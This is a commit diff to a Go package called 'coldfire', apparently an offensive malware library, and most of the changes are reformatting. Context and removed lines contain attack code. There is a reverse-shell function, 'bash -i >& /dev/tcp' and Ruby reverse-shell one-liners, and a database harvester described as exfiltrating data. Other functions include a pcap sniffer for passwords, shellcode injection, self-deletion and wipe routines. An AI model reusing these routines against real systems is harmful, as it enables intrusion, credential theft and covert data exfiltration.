@@ -5,6 +5,7 @@ package coldfire
55
66import (
77 "bufio"
8+ "database/sql"
89 "encoding/binary"
910 "fmt"
1011 "net"
@@ -15,13 +16,12 @@ import (
1516 "strconv"
1617 "strings"
1718 "time"
18- "database/sql"
1919
20- _ "github.com/lib/pq"
21- "github.com/fatih/color"
2220 "github.com/GeertJohan/yubigo"
23- _ "github.com/go-sql-driver/mysql"
24- //"github.com/secsy/goftp"
21+ "github.com/fatih/color"
22+ _ "github.com/go-sql-driver/mysql"
23+ _ "github.com/lib/pq"
24+
2525 "github.com/ztrue/tracerr"
2626)
2727
3232 Bold = color .New (color .Bold ).SprintFunc ()
3333 Yellow = color .New (color .FgYellow ).SprintFunc ()
3434 Magenta = color .New (color .FgMagenta ).SprintFunc ()
35- tmpbuf []byte
35+ tmpbuf []byte
3636)
3737
3838func handleReverse (conn net.Conn ) {
@@ -103,13 +103,12 @@ func IsFileExec(file string) bool {
103103 return mode & 0111 != 0
104104}
105105
106-
107106// Exfiltrates data slowly from either MySQL or Postgres
108- func HarvestDB (ip , username , password string , port int ){
109- if PortscanSingle (ip , 5400 ){
107+ func HarvestDB (ip , username , password string , port int ) {
108+ if PortscanSingle (ip , 5400 ) {
110109
111110 }
112- if PortscanSingle (ip , 3306 ){
111+ if PortscanSingle (ip , 3306 ) {
113112 db , err := sql .Open ("mysql" , F ("%s:%s@tcp(%s:3306)/test" , username , password , ip ))
114113 Check (err )
115114 defer db .Close ()
@@ -126,52 +125,18 @@ func ListDB(db *sql.DB, tables bool) []string {
126125 var result []string
127126 var table string
128127 for res .Next () {
129- res .Scan (& table )
130- result = append (result , table )
128+ res .Scan (& table )
129+ result = append (result , table )
131130 }
132131 return result
133132}
134133
135- // Generates a reverse shell in a given language to the current machine on arbitrary port
136- /*func LangRevshell(language string, port int, global bool) string {
137- reverse_addr := GetLocalIP()
138- if (global){
139- reverse_addr = GetGlobalIP()
140- }
141- rshell := ""
142- switch (language){
143- case "rb":
144- rshell = F("require 'socket';spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"%s\",%d))", reverse_addr, port)
145- case "sh":
146- rshell = F("bash -i >& /dev/tcp/%s/%d 0>&1", reverse_addr, port)
147- }
148- return rshell
149- }
150-
151- // Ta funkcja wpierdala gratisa na FTP
152- func Gratis(ip, username, password string, port int) {
153- config := goftp.Config{
154- User: username,
155- Password: password,
156- ConnectionsPerHost: port,
157- Timeout: 20 * time.Second,
158- Logger: os.Stderr,
159- }
160- connection, err := goftp.DialConfig(config, ip)
161- Check(err)
162- listing, err := connection.ReadDir("/")
163- Check(err)
164- for _, file := range listing {
165- _ = file.Name()
166- }
167- }*/
168-
169134// Verifies Yubico OTP
170135func Yubi (id , token , otp string ) bool {
171136 yubikey , err := yubigo .NewYubiAuth (id , token )
172137 Check (err )
173138 res , ok , err := yubikey .Verify (otp )
174- if ( err != nil || ! ok || res == nil ) {
139+ if err != nil || ! ok || res == nil {
175140 return false
176141 }
177142 return true
@@ -257,51 +222,6 @@ func Remove() {
257222 os .Remove (os .Args [0 ])
258223}
259224
260- // CredentialsSniff is used to sniff network traffic for
261- // private user information.
262- /*func CredentialsSniff(ifac, interval string,
263- collector chan string,
264- words []string) error {
265- ifs := []string{}
266- if ifac != "all" {
267- ifs = []string{ifac}
268- } else {
269- ifs = append(ifs, ifs...)
270- }
271- hits := []string{"password", "user",
272- "username", "secrets", "auth"}
273- for w := range words {
274- word := words[w]
275- hits = append(hits, word)
276- }
277- for h := range hits {
278- hit := hits[h]
279- hits = append(hits, strings.ToUpper(hit))
280- hits = append(hits, strings.ToUpper(string(hit[0]))+string(hit[1:]))
281- }
282- var snapshot_len int32 = 1024
283- var timeout time.Duration = time.Duration(IntervalToSeconds(interval)) * time.Second
284- for _, i := range ifs {
285- handler, err := pcap.OpenLive(i, snapshot_len, false, timeout)
286- if err != nil {
287- return err
288- }
289- defer handler.Close()
290- source := gopacket.NewPacketSource(handler, handler.LinkType())
291- for p := range source.Packets() {
292- app_layer := p.ApplicationLayer()
293- pay := app_layer.Payload()
294- for h := range hits {
295- hit := hits[h]
296- if bytes.Contains(pay, []byte(hit)) {
297- collector <- string(pay)
298- }
299- }
300- }
301- }
302- return nil
303- }*/
304-
305225// Reverse initiates a reverse shell to a given host:port.
306226func Reverse (host string , port int ) {
307227 conn , err := net .Dial ("tcp" , host + ":" + strconv .Itoa (port ))
@@ -358,7 +278,6 @@ func Wipe() error {
358278 return wipe ()
359279}
360280
361-
362281// Checks if a string contains valuable information through regex.
363282func RegexMatch (regex_type , str string ) bool {
364283 regexes := map [string ]string {
@@ -388,6 +307,6 @@ func AutoDoc(port ...int) {
388307}
389308
390309// Injects a bytearray into current process and executes it
391- func RunShellcode (sc []byte , bg bool ){
310+ func RunShellcode (sc []byte , bg bool ) {
392311 runShellcode (sc , bg )
393312}
0 commit comments